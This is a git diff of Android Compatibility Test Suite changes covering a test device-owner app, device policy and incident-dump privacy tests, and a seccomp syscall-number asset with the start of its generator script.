Merge "Verify onNewIntent lifecycle" into pi-dev
diff --git a/apps/CtsVerifier/Android.mk b/apps/CtsVerifier/Android.mk
index ada8384..ffdb72f 100644
--- a/apps/CtsVerifier/Android.mk
+++ b/apps/CtsVerifier/Android.mk
@@ -98,6 +98,7 @@
 
 pre-installed-apps := \
     CtsEmptyDeviceAdmin \
+    CtsEmptyDeviceOwner \
     CtsPermissionApp \
     NotificationBot
 
@@ -120,7 +121,7 @@
 cts-verifier: CtsVerifier adb $(pre-installed-apps)
 	adb install -r $(PRODUCT_OUT)/data/app/CtsVerifier/CtsVerifier.apk \
 		$(foreach app,$(pre-installed-apps), \
-		    && adb install -r $(call apk-location-for,$(app))) \
+		    && adb install -r -t $(call apk-location-for,$(app))) \
 		&& adb shell "am start -n com.android.cts.verifier/.CtsVerifierActivity"
 
 #
diff --git a/apps/CtsVerifier/res/values/strings.xml b/apps/CtsVerifier/res/values/strings.xml
index 2b80d20..6816429 100755
--- a/apps/CtsVerifier/res/values/strings.xml
+++ b/apps/CtsVerifier/res/values/strings.xml
@@ -2649,8 +2649,9 @@
     <string name="set_device_owner_button_label">Set up device owner</string>
     <string name="set_device_owner_dialog_title">Set up device owner</string>
     <string name="set_device_owner_dialog_text">
+            This test requires CtsEmptyDeviceOwner.apk to be installed on the device.
             Please set the device owner by enabling USB debugging on the device and issuing the following command on the host:\n
-            adb shell dpm set-device-owner \'com.android.cts.verifier/com.android.cts.verifier.managedprovisioning.DeviceAdminTestReceiver\'
+            adb shell dpm set-device-owner com.android.cts.emptydeviceowner/.EmptyDeviceAdmin
     </string>
     <string name="device_owner_remove_device_owner_test">Remove device owner</string>
     <string name="device_owner_remove_device_owner_test_info">
diff --git a/apps/CtsVerifier/res/xml/device_admin_byod.xml b/apps/CtsVerifier/res/xml/device_admin_byod.xml
index b1ba372..2d33459 100644
--- a/apps/CtsVerifier/res/xml/device_admin_byod.xml
+++ b/apps/CtsVerifier/res/xml/device_admin_byod.xml
@@ -16,6 +16,7 @@
 
 <!-- BEGIN_INCLUDE(meta_data) -->
 <device-admin xmlns:android="http://schemas.android.com/apk/res/android">
+    <support-transfer-ownership/>
     <uses-policies>
         <limit-password />
         <watch-login />
diff --git a/apps/EmptyDeviceOwner/Android.mk b/apps/EmptyDeviceOwner/Android.mk
new file mode 100644
index 0000000..714e996
--- /dev/null
+++ b/apps/EmptyDeviceOwner/Android.mk
@@ -0,0 +1,34 @@
+# Copyright (C) 2018 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH:= $(call my-dir)
+
+include $(CLEAR_VARS)
+
+LOCAL_PACKAGE_NAME := CtsEmptyDeviceOwner
+
+LOCAL_MODULE_TAGS := optional
+
+LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
+
+LOCAL_SRC_FILES := $(call all-java-files-under, src)
+
+LOCAL_RESOURCE_DIR += $(LOCAL_PATH)/res
+
+LOCAL_SDK_VERSION := current
+
+# tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
+
+include $(BUILD_CTS_PACKAGE)
diff --git a/apps/EmptyDeviceOwner/AndroidManifest.xml b/apps/EmptyDeviceOwner/AndroidManifest.xml
new file mode 100644
index 0000000..d6a97eb
--- /dev/null
+++ b/apps/EmptyDeviceOwner/AndroidManifest.xml
@@ -0,0 +1,41 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2018 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+        package="com.android.cts.emptydeviceowner" >
+
+    <uses-sdk android:minSdkVersion="12"/>
+
+    <application android:label="Test Device Owner" android:testOnly="true">
+        <receiver
+            android:name=".EmptyDeviceAdmin"
+            android:permission="android.permission.BIND_DEVICE_ADMIN">
+            <meta-data
+                android:name="android.app.device_admin"
+                android:resource="@xml/device_admin"/>
+            <intent-filter>
+                <action android:name="android.app.action.DEVICE_ADMIN_ENABLED" />
+            </intent-filter>
+        </receiver>
+
+        <receiver android:name=".DeviceOwnerChangedReceiver">
+            <intent-filter>
+                <action android:name="android.app.action.DEVICE_OWNER_CHANGED"/>
+            </intent-filter>
+        </receiver>
+
+    </application>
+</manifest>
diff --git a/apps/EmptyDeviceOwner/README b/apps/EmptyDeviceOwner/README
new file mode 100644
index 0000000..5bcba3b
--- /dev/null
+++ b/apps/EmptyDeviceOwner/README
@@ -0,0 +1,20 @@
+Copyright (C) 2018 The Android Open Source Project
+
+Licensed under the Apache Licence, Version 2.0 (the "License");
+you may not use this file except in compliance with the License.
+You may obtain a copy of the License at
+
+     http://www.apache.org/licenses/LICENSE-2.0
+
+Unless required by applicable law or agreed to in writing, software
+distributed under the License is distributed on an "AS IS" BASIS,
+WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+See the License for the specific language governing permissions and
+limitations under the License.
+
+This package is used to generate CtsEmptyDeviceOwner.apk that is used in assets of CtsVerifier.
+To update the apk file, run the following commands from your android checkout:
+cd $ANDROID_BUILD_TOP
+make -j32 CtsEmptyDeviceOwner
+cp $OUT/data/app/CtsEmptyDeviceOwner/CtsEmptyDeviceOwner.apk \
+cts/apps/CtsVerifier/assets/apk/CtsEmptyDeviceOwner.apk
diff --git a/apps/EmptyDeviceOwner/res/xml/device_admin.xml b/apps/EmptyDeviceOwner/res/xml/device_admin.xml
new file mode 100644
index 0000000..0cff9e5
--- /dev/null
+++ b/apps/EmptyDeviceOwner/res/xml/device_admin.xml
@@ -0,0 +1,28 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2018 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<device-admin xmlns:android="http://schemas.android.com/apk/res/android">
+    <uses-policies>
+        <limit-password />
+        <watch-login />
+        <reset-password />
+        <force-lock />
+        <wipe-data />
+        <expire-password />
+        <encrypted-storage />
+        <disable-camera />
+        <disable-keyguard-features />
+    </uses-policies>
+</device-admin>
diff --git a/apps/EmptyDeviceOwner/src/com/android/cts/emptydeviceowner/DeviceOwnerChangedReceiver.java b/apps/EmptyDeviceOwner/src/com/android/cts/emptydeviceowner/DeviceOwnerChangedReceiver.java
new file mode 100644
index 0000000..8f0732e
--- /dev/null
+++ b/apps/EmptyDeviceOwner/src/com/android/cts/emptydeviceowner/DeviceOwnerChangedReceiver.java
@@ -0,0 +1,44 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.cts.emptydeviceowner;
+
+import android.app.admin.DeviceAdminReceiver;
+import android.app.admin.DevicePolicyManager;
+import android.content.ComponentName;
+import android.content.Context;
+import android.content.Intent;
+import android.util.Log;
+
+public class DeviceOwnerChangedReceiver extends DeviceAdminReceiver {
+
+	@Override
+	public void onReceive(Context context, Intent intent) {
+		Log.d("DeviceOwnerChangedReceiver", "device owner is changed.");
+		if (!DevicePolicyManager.ACTION_DEVICE_OWNER_CHANGED.equals(intent.getAction())) {
+			return;
+		}
+		DevicePolicyManager dpm = context.getSystemService(DevicePolicyManager.class);
+		if (!dpm.isDeviceOwnerApp(context.getPackageName())) {
+			return;
+		}
+		Log.d("DeviceOwnerChangedReceiver", "transferring ownership to CtsVerifier");
+		dpm.transferOwnership(
+			EmptyDeviceAdmin.getComponentName(context),
+			new ComponentName("com.android.cts.verifier",
+				"com.android.cts.verifier.managedprovisioning.DeviceAdminTestReceiver"),
+			null);
+	}
+}
diff --git a/apps/EmptyDeviceOwner/src/com/android/cts/emptydeviceowner/EmptyDeviceAdmin.java b/apps/EmptyDeviceOwner/src/com/android/cts/emptydeviceowner/EmptyDeviceAdmin.java
new file mode 100644
index 0000000..90ee252
--- /dev/null
+++ b/apps/EmptyDeviceOwner/src/com/android/cts/emptydeviceowner/EmptyDeviceAdmin.java
@@ -0,0 +1,30 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.cts.emptydeviceowner;
+
+import android.app.admin.DeviceAdminReceiver;
+import android.app.admin.DevicePolicyManager;
+import android.content.ComponentName;
+import android.content.Context;
+import android.content.Intent;
+import android.util.Log;
+
+public class EmptyDeviceAdmin extends DeviceAdminReceiver {
+
+	public static ComponentName getComponentName(Context context) {
+		return new ComponentName(context, EmptyDeviceAdmin.class);
+	}
+}
diff --git a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/SetSystemSettingTest.java b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/SetSystemSettingTest.java
new file mode 100644
index 0000000..0fbbee1
--- /dev/null
+++ b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/SetSystemSettingTest.java
@@ -0,0 +1,52 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.cts.deviceandprofileowner;
+
+import android.app.admin.DevicePolicyManager;
+import android.os.UserHandle;
+import android.provider.Settings;
+
+/**
+ * Test {@link DevicePolicyManager#setSystemSetting}.
+ */
+public class SetSystemSettingTest extends BaseDeviceAdminTest {
+
+  private static final String TEST_BRIGHTNESS_1 = "200";
+  private static final String TEST_BRIGHTNESS_2 = "100";
+
+  private void testSetBrightnessWithValue(String testBrightness) {
+    mDevicePolicyManager.setSystemSetting(ADMIN_RECEIVER_COMPONENT,
+        Settings.System.SCREEN_BRIGHTNESS, testBrightness);
+    assertEquals(testBrightness, Settings.System.getStringForUser(
+        mContext.getContentResolver(), Settings.System.SCREEN_BRIGHTNESS,
+        UserHandle.myUserId()));
+  }
+
+  public void testSetBrightness() {
+    testSetBrightnessWithValue(TEST_BRIGHTNESS_1);
+    testSetBrightnessWithValue(TEST_BRIGHTNESS_2);
+  }
+
+  public void testSetSystemSettingsFailsForNonWhitelistedSettings() throws Exception {
+    try {
+      mDevicePolicyManager.setSystemSetting(ADMIN_RECEIVER_COMPONENT,
+          Settings.System.TEXT_AUTO_REPLACE, "0");
+      fail("Didn't throw security exception.");
+    } catch (SecurityException e) {
+      // Should throw SecurityException.
+    }
+  }
+}
diff --git a/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/SetSystemSettingTest.java b/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/SetSystemSettingTest.java
deleted file mode 100644
index 06e6149..0000000
--- a/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/SetSystemSettingTest.java
+++ /dev/null
@@ -1,50 +0,0 @@
-/*
- * Copyright (C) 2018 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package com.android.cts.deviceowner;
-
-import android.app.admin.DevicePolicyManager;
-import android.provider.Settings;
-
-/**
- * Test {@link DevicePolicyManager#setSystemSetting}.
- */
-public class SetSystemSettingTest extends BaseDeviceOwnerTest {
-
-    private static final String TEST_BRIGHTNESS_1 = "200";
-    private static final String TEST_BRIGHTNESS_2 = "100";
-
-    private void testSetBrightnessWithValue(String testBrightness) {
-        mDevicePolicyManager.setSystemSetting(getWho(),
-                Settings.System.SCREEN_BRIGHTNESS, testBrightness);
-        assertEquals(testBrightness, Settings.System.getString(mContext.getContentResolver(),
-                Settings.System.SCREEN_BRIGHTNESS));
-    }
-
-    public void testSetBrightness() {
-        testSetBrightnessWithValue(TEST_BRIGHTNESS_1);
-        testSetBrightnessWithValue(TEST_BRIGHTNESS_2);
-    }
-
-    public void testSetSystemSettingsFailsForNonWhitelistedSettings() throws Exception {
-        try {
-            mDevicePolicyManager.setSystemSetting(getWho(),
-                    Settings.System.TEXT_AUTO_REPLACE, "0");
-            fail("Didn't throw security exception.");
-        } catch (SecurityException e) {
-            // Should throw SecurityException.
-        }
-    }
-}
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceAndProfileOwnerTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceAndProfileOwnerTest.java
index 274edab..a2dae8a 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceAndProfileOwnerTest.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceAndProfileOwnerTest.java
@@ -851,6 +851,13 @@
         executeDeviceTestClass(".PasswordSufficientInitiallyTest");
     }
 
+    public void testSetSystemSetting() throws Exception {
+        if (!mHasFeature) {
+            return;
+        }
+        executeDeviceTestClass(".SetSystemSettingTest");
+    }
+
     protected void executeResetPasswordWithTokenTests(Boolean allowFailures) throws Exception {
         runDeviceTestsAsUser(DEVICE_ADMIN_PKG, ".ResetPasswordWithTokenTest", null, mUserId,
                 Collections.singletonMap(ARG_ALLOW_FAILURE, Boolean.toString(allowFailures)));
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceOwnerTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceOwnerTest.java
index 47e46a5..0233d4e 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceOwnerTest.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceOwnerTest.java
@@ -948,13 +948,6 @@
         executeDeviceOwnerTest("AirplaneModeRestrictionTest");
     }
 
-    public void testSetSystemSetting() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
-        executeDeviceOwnerTest("SetSystemSettingTest");
-    }
-
     public void testOverrideApn() throws Exception {
         if (!mHasFeature) {
             return;
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/MixedManagedProfileOwnerTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/MixedManagedProfileOwnerTest.java
index 6cedba5..b39e1ad 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/MixedManagedProfileOwnerTest.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/MixedManagedProfileOwnerTest.java
@@ -165,4 +165,9 @@
         // MixedProfileOwnerTest
         executeResetPasswordWithTokenTests(false);
     }
+
+    @Override
+    public void testSetSystemSetting() {
+        // Managed profile owner cannot set currently whitelisted system settings.
+    }
 }
diff --git a/hostsidetests/incident/apps/graphicsstatsapp/src/com/android/server/cts/device/graphicsstats/DrawFramesActivity.java b/hostsidetests/incident/apps/graphicsstatsapp/src/com/android/server/cts/device/graphicsstats/DrawFramesActivity.java
index 2b9e5a6..65fd3ff 100644
--- a/hostsidetests/incident/apps/graphicsstatsapp/src/com/android/server/cts/device/graphicsstats/DrawFramesActivity.java
+++ b/hostsidetests/incident/apps/graphicsstatsapp/src/com/android/server/cts/device/graphicsstats/DrawFramesActivity.java
@@ -114,7 +114,7 @@
     }
 
     private void jank() {
-        spinSleep(20);
+        spinSleep(24);
     }
 
     private void spinSleep(int durationMs) {
@@ -128,7 +128,7 @@
             jankIf(FRAME_JANK_ANIMATION);
         });
         if (isFrameFlagSet(FRAME_JANK_MISS_VSYNC)) {
-            spinSleep(32);
+            spinSleep(45);
         }
     }
 
@@ -161,7 +161,7 @@
         long timeoutDurationMs = 0;
         for (int frame : framesToDraw) {
             // 50ms base time + 20ms for every extra jank event
-            timeoutDurationMs += 50 + (20 * Integer.bitCount(frame));
+            timeoutDurationMs += 50 + (24 * Integer.bitCount(frame));
             if ((frame & FRAME_JANK_DAVEY_JR) != 0) {
                 timeoutDurationMs += 150;
             }
diff --git a/hostsidetests/incident/src/com/android/server/cts/AlarmManagerIncidentTest.java b/hostsidetests/incident/src/com/android/server/cts/AlarmManagerIncidentTest.java
index 2a08eb7..35d1bb6 100644
--- a/hostsidetests/incident/src/com/android/server/cts/AlarmManagerIncidentTest.java
+++ b/hostsidetests/incident/src/com/android/server/cts/AlarmManagerIncidentTest.java
@@ -45,8 +45,9 @@
         // Times should be positive.
         assertTrue(0 < dump.getCurrentTime());
         assertTrue(0 < dump.getElapsedRealtime());
-        assertTrue(0 < dump.getLastTimeChangeClockTime());
-        assertTrue(0 < dump.getLastTimeChangeRealtime());
+        // Can be 0 if the time hasn't been changed yet.
+        assertTrue(0 <= dump.getLastTimeChangeClockTime());
+        assertTrue(0 <= dump.getLastTimeChangeRealtime());
 
         // ConstantsProto
         ConstantsProto settings = dump.getSettings();
diff --git a/hostsidetests/incident/src/com/android/server/cts/JobSchedulerIncidentTest.java b/hostsidetests/incident/src/com/android/server/cts/JobSchedulerIncidentTest.java
index 3977c74..398d511 100644
--- a/hostsidetests/incident/src/com/android/server/cts/JobSchedulerIncidentTest.java
+++ b/hostsidetests/incident/src/com/android/server/cts/JobSchedulerIncidentTest.java
@@ -170,9 +170,6 @@
         assertNotNull(jssi);
 
         assertTrue(0 <= jssi.getCallingUid());
-        if (filterLevel == PRIVACY_AUTO) {
-            assertTrue(jssi.getBatteryName().isEmpty());
-        }
     }
 
     private static void testJobStatusDumpProto(JobStatusDumpProto jsd) throws Exception {
diff --git a/hostsidetests/incident/src/com/android/server/cts/ProtoDumpTestCase.java b/hostsidetests/incident/src/com/android/server/cts/ProtoDumpTestCase.java
index 4acf5ba..1788c80 100644
--- a/hostsidetests/incident/src/com/android/server/cts/ProtoDumpTestCase.java
+++ b/hostsidetests/incident/src/com/android/server/cts/ProtoDumpTestCase.java
@@ -53,6 +53,20 @@
     protected static final int PRIVACY_LOCAL = 2;
     /** No privacy filtering has been done. All fields should be present. */
     protected static final int PRIVACY_NONE = 3;
+    protected static String privacyToString(int privacy) {
+        switch (privacy) {
+            case PRIVACY_AUTO:
+                return "AUTO";
+            case PRIVACY_EXPLICIT:
+                return "EXPLICIT";
+            case PRIVACY_LOCAL:
+                return "LOCAL";
+            case PRIVACY_NONE:
+                return "NONE";
+            default:
+                return "UNKNOWN";
+        }
+    }
 
     protected IBuildInfo mCtsBuild;
 
diff --git a/hostsidetests/incident/src/com/android/server/cts/SettingsIncidentTest.java b/hostsidetests/incident/src/com/android/server/cts/SettingsIncidentTest.java
index 052e3dd..dc14384 100644
--- a/hostsidetests/incident/src/com/android/server/cts/SettingsIncidentTest.java
+++ b/hostsidetests/incident/src/com/android/server/cts/SettingsIncidentTest.java
@@ -22,14 +22,20 @@
 import android.providers.settings.UserSettingsProto;
 
 import com.android.ddmlib.Log.LogLevel;
+import com.android.incident.Destination;
+import com.android.incident.Privacy;
 import com.android.tradefed.log.LogUtil.CLog;
 import com.google.protobuf.GeneratedMessage;
+import com.google.protobuf.Descriptors.FieldDescriptor;
 
 import java.lang.reflect.Method;
 import java.lang.reflect.Modifier;
 import java.util.Arrays;
+import java.util.ArrayList;
 import java.util.Collection;
 import java.util.List;
+import java.util.Map;
+import java.util.HashMap;
 import java.util.stream.Collectors;
 import java.util.stream.Stream;
 
@@ -58,52 +64,64 @@
         assertEquals(0, userSettings.getUserId());
 
         CLog.logAndDisplay(LogLevel.INFO, "#*#*#*#*#*#*#*#*#*#*# SECURE #*#*#*#*#*#*#*#*#*#*#");
-        verifySettings(userSettings.getSecureSettings());
+        verifySettings(userSettings.getSecureSettings(), filterLevel);
         CLog.logAndDisplay(LogLevel.INFO, "#*#*#*#*#*#*#*#*#*#*# SYSTEM #*#*#*#*#*#*#*#*#*#*#");
-        verifySettings(userSettings.getSystemSettings());
+        verifySettings(userSettings.getSystemSettings(), filterLevel);
 
         CLog.logAndDisplay(LogLevel.INFO, "#*#*#*#*#*#*#*#*#*#*# GLOBAL #*#*#*#*#*#*#*#*#*#*#");
-        verifySettings(dump.getGlobalSettings());
+        verifySettings(dump.getGlobalSettings(), filterLevel);
     }
 
-    private static void verifySettings(GeneratedMessage settings) throws Exception {
-        verifySettings(getSettingProtos(settings));
+    private static void verifySettings(GeneratedMessage settings, final int filterLevel) throws Exception {
+        verifySettings(getSettingProtos(settings), filterLevel);
 
         final List<SettingsOperationProto> ops = invoke(settings, "getHistoricalOperationsList");
         for (SettingsOperationProto op : ops) {
             assertTrue(op.getTimestamp() >= 0);
             assertNotNull(op.getOperation());
             // setting is optional
+            if (filterLevel == PRIVACY_AUTO) {
+                // SettingOperationProto is EXPLICIT by default.
+                assertTrue(op.getOperation().isEmpty());
+                assertTrue(op.getSetting().isEmpty());
+            }
         }
     }
 
-    private static List<SettingProto> getSettingProtos(GeneratedMessage settingsProto) {
+    private static Map<SettingProto, Destination> getSettingProtos(GeneratedMessage settingsProto) {
         CLog.d("Checking out class: " + settingsProto.getClass());
 
-        Stream<SettingProto> settings = Arrays.stream(settingsProto.getClass().getDeclaredMethods())
-                .filter((method) ->
-                        method.getName().startsWith("get")
-                                && !method.getName().endsWith("OrBuilder")
-                                && method.getParameterCount() == 0
-                                && !Modifier.isStatic(method.getModifiers())
-                                && method.getReturnType() == SettingProto.class)
-                .map((method) -> (SettingProto) invoke(method, settingsProto));
+        Map<SettingProto, Destination> settings = new HashMap<>();
+        for (FieldDescriptor fd : settingsProto.getDescriptorForType().getFields()) {
+            if (fd.getType() != FieldDescriptor.Type.MESSAGE) {
+                // Only looking for SettingProtos and messages that contain them. Skip any primitive
+                // fields.
+                continue;
+            }
+            List<Object> tmp;
+            if (fd.isRepeated()) {
+                tmp = (List) settingsProto.getField(fd);
+            } else {
+                tmp = new ArrayList<>();
+                tmp.add(settingsProto.getField(fd));
+            }
+            Destination dest = fd.getOptions().getExtension(Privacy.privacy).getDest();
+            for (Object o : tmp) {
+                if ("android.providers.settings.SettingProto".equals(fd.getMessageType().getFullName())) {
+                    // The container's default privacy doesn't affect message types. However,
+                    // anotations on the field override the message's default annotation. If a
+                    // message field doesn't have an annotation, it is treated as EXPLICIT by
+                    // default.
+                    settings.put((SettingProto) o, dest == Destination.DEST_UNSET ? Destination.DEST_EXPLICIT : dest);
+                } else {
+                    // Sub messages don't inherit the container's default privacy. If the field had
+                    // an annotation, it would override the sub message's default privacy.
+                    settings.putAll(getSettingProtos((GeneratedMessage) o));
+                }
+            }
+        }
 
-        // Get fields in the submessages.
-        Stream<SettingProto> subSettings = Arrays.stream(settingsProto.getClass().getDeclaredMethods())
-                .filter((method) ->
-                        method.getName().startsWith("get")
-                                && !method.getName().endsWith("OrBuilder")
-                                && method.getParameterCount() == 0
-                                && !Modifier.isStatic(method.getModifiers())
-                                && method.getReturnType() != SettingProto.class
-                                && GeneratedMessage.class.isAssignableFrom(method.getReturnType())
-                                && method.getReturnType() != settingsProto.getClass())
-                .map((method) -> getSettingProtos((GeneratedMessage) invoke(method, settingsProto)))
-                // getSettingsProtos returns List<>, so flatten all of them into one.
-                .flatMap(Collection::stream);
-
-        return Stream.concat(settings, subSettings).collect(Collectors.toList());
+        return settings;
     }
 
     private static <T> T invoke(Method method, Object instance, Object... args) {
@@ -129,11 +147,13 @@
         return c == Integer.class ? int.class : c;
     }
 
-    private static void verifySettings(List<SettingProto> settings) throws Exception {
+    private static void verifySettings(Map<SettingProto, Destination> settings, final int filterLevel) throws Exception {
         assertFalse(settings.isEmpty());
 
         CLog.d("Field count: " + settings.size());
-        for (SettingProto setting : settings) {
+        for (Map.Entry<SettingProto, Destination> sDPair : settings.entrySet()) {
+            SettingProto setting = sDPair.getKey();
+            Destination dest = sDPair.getValue();
             try {
                 final String id = setting.getId();
                 if (!id.isEmpty()) {
@@ -141,6 +161,27 @@
                     Long.parseLong(id);
                 }
                 assertNotNull(setting.getName());
+                if (filterLevel < PRIVACY_LOCAL) {
+                    if  (dest == Destination.DEST_LOCAL) {
+                        // Any filter that is not LOCAL should make sure local isn't printed at all.
+                        String err = "Setting '" + setting.getName() + "' with LOCAL privacy didn't strip data for filter level '" + privacyToString(filterLevel) + "'";
+                        assertTrue(err, setting.getId().isEmpty());
+                        assertTrue(err, setting.getName().isEmpty());
+                        assertTrue(err, setting.getPkg().isEmpty());
+                        assertTrue(err, setting.getValue().isEmpty());
+                        assertTrue(err, setting.getDefaultValue().isEmpty());
+                    }
+                    if (filterLevel < PRIVACY_EXPLICIT) {
+                        if (dest == Destination.DEST_EXPLICIT) {
+                            String err = "Setting '" + setting.getName() + "' with EXPLICIT privacy didn't strip data for filter level '" + privacyToString(filterLevel) + "'";
+                            assertTrue(err, setting.getId().isEmpty());
+                            assertTrue(err, setting.getName().isEmpty());
+                            assertTrue(err, setting.getPkg().isEmpty());
+                            assertTrue(err, setting.getValue().isEmpty());
+                            assertTrue(err, setting.getDefaultValue().isEmpty());
+                        }
+                    }
+                }
                 // pkg is optional
                 // value can be anything
                 // default can be anything
diff --git a/hostsidetests/seccomp/app/Android.mk b/hostsidetests/seccomp/app/Android.mk
index 4dd5ad2..041d760 100644
--- a/hostsidetests/seccomp/app/Android.mk
+++ b/hostsidetests/seccomp/app/Android.mk
@@ -40,6 +40,8 @@
 
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
 
+LOCAL_ASSET_DIR := $(LOCAL_PATH)/assets
+
 # tag this module as a cts test artifact
 LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
diff --git a/hostsidetests/seccomp/app/assets/syscalls.json b/hostsidetests/seccomp/app/assets/syscalls.json
new file mode 100644
index 0000000..527405f
--- /dev/null
+++ b/hostsidetests/seccomp/app/assets/syscalls.json
@@ -0,0 +1,53 @@
+{
+  "arm": {
+    "add_key": 309,
+    "inotify_init": 316,
+    "keyctl": 311,
+    "openat": 322,
+    "swapoff": 115,
+    "swapon": 87,
+    "syncfs": 373
+  },
+  "arm64": {
+    "add_key": 217,
+    "keyctl": 219,
+    "openat": 56,
+    "swapoff": 225,
+    "swapon": 224,
+    "syncfs": 267
+  },
+  "mips": {
+    "add_key": 4280,
+    "inotify_init": 4284,
+    "keyctl": 4282,
+    "openat": 4288,
+    "swapoff": 4115,
+    "swapon": 4087,
+    "syncfs": 4342
+  },
+  "mips64": {
+    "add_key": 5239,
+    "keyctl": 5241,
+    "openat": 5247,
+    "swapoff": 5163,
+    "swapon": 5162,
+    "syncfs": 5301
+  },
+  "x86": {
+    "add_key": 286,
+    "inotify_init": 291,
+    "keyctl": 288,
+    "openat": 295,
+    "swapoff": 115,
+    "swapon": 87,
+    "syncfs": 344
+  },
+  "x86_64": {
+    "add_key": 248,
+    "keyctl": 250,
+    "openat": 257,
+    "swapoff": 168,
+    "swapon": 167,
+    "syncfs": 306
+  }
+}
diff --git a/hostsidetests/seccomp/app/gen_blacklist.py b/hostsidetests/seccomp/app/gen_blacklist.py
new file mode 100755
index 0000000..a104394
--- /dev/null
+++ b/hostsidetests/seccomp/app/gen_blacklist.py
@@ -0,0 +1,124 @@
+#!/usr/bin/env python3
+#
+# This script generates syscall name to number mapping for supported
+# architectures.  To update the output, runs:
+#
+#  $ app/gen_blacklist.py > app/assets/syscalls.json
+#
+# TODO: Consider generating it in Android.mk/bp.
+
+import glob
+import json
+import os
+import subprocess
+
+_SUPPORTED_ARCHS = ['arm', 'arm64', 'x86', 'x86_64', 'mips', 'mips64']
+
+_INTERESTED_SYSCALLS = {
+    'swapon': 'all',
+    'swapoff': 'all',
+    'add_key': 'all',
+    'keyctl': 'all',
+    'openat': 'all',
+    'syncfs': 'all',
+    'inotify_init': 'arm,x86,mips',
+}
